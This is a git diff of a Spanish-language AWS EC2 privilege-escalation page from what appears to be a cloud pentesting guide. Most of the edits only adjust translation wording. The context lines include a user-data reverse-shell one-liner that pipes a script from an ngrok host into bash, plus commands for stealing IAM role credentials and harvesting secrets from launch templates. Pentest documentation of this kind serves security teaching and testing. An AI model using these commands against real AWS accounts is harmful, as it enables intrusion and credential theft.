diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 1f9238153..364f0044e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -30,7 +30,7 @@ echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name=E \ +--iam-instance-profile Name= \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` @@ -119,7 +119,7 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**. +Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener una **rev shell en la instancia EC2**. Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. ```bash @@ -180,7 +180,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**. +Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -217,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \ Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**. -Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. +Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Este método no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo. +Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo. -**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución. +**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución. ### `describe-launch-templates`,`describe-launch-template-versions` -Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlas para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles: +Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do